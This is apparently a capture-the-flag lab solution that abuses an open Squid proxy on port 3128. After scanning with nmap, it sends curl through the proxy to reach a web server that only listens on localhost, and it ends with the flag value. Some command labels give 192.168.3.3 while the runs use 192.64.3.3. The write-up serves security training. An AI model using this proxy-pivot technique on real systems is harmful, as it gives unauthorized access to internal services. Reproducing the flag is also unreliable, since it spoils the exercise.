

[illegible]

Name	Squid: Accessing Portals
URL	https://www.attackdefense.com/challengedetails?cid=224
Type	Infrastructure Attacks : Squid Proxy

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: You have to figure out a way to access the web portal and retrieve the flag!

Solution:

Step 1: Find ip address of the target machine

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
6498: eth0@if6499: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:06 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.6/24 brd 10.1.1.255 scope global eth0
        valid_lft forever preferred_lft forever
6501: eth1@if6502: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:40:03:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.64.3.2/24 brd 192.64.3.255 scope global eth1
        valid_lft forever preferred_lft forever
root@attackdefense:~#
```

The target server is at 192.64.3.3

Step 2: Perform nmap scan to identify the running services and open ports

Command: nmap 192.168.3.3

```
root@attackdefense:~# nmap 192.64.3.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-08 11:02 UTC
Nmap scan report for 507o91v2i54v2urrucldoowk9.temp-network_a-64-3 (192.64.3.3)
Host is up (0.000013s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
3128/tcp  open  squid-http
MAC Address: 02:42:C0:40:03:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
root@attackdefense:~#
```

Only the squid proxy is open for connection.

Step 3: Attempt to access port 80 on the target machine.

Command: curl 192.168.3.3:80

```
root@attackdefense:~# curl 192.64.3.3:80
curl: (7) Failed to connect to 192.64.3.3 port 80: Connection refused
root@attackdefense:~#
```

Port 80 is closed on the target machine's external interface.

Step 4: Accessing web server through proxy using curl

Command: curl -x 192.64.3.3:3128 127.0.0.1:80

```
root@attackdefense:~# curl -x 192.64.3.3:3128 127.0.0.1:80
Congragulations you've successfully completed the challenge, here is your flag: 98D79511BE24E80B82360CD655C11390
root@attackdefense:~#
```

Flag: 98D79511BE24E80B82360CD655C11390

References:

1. Squid Proxy (<http://www.squid-cache.org/>)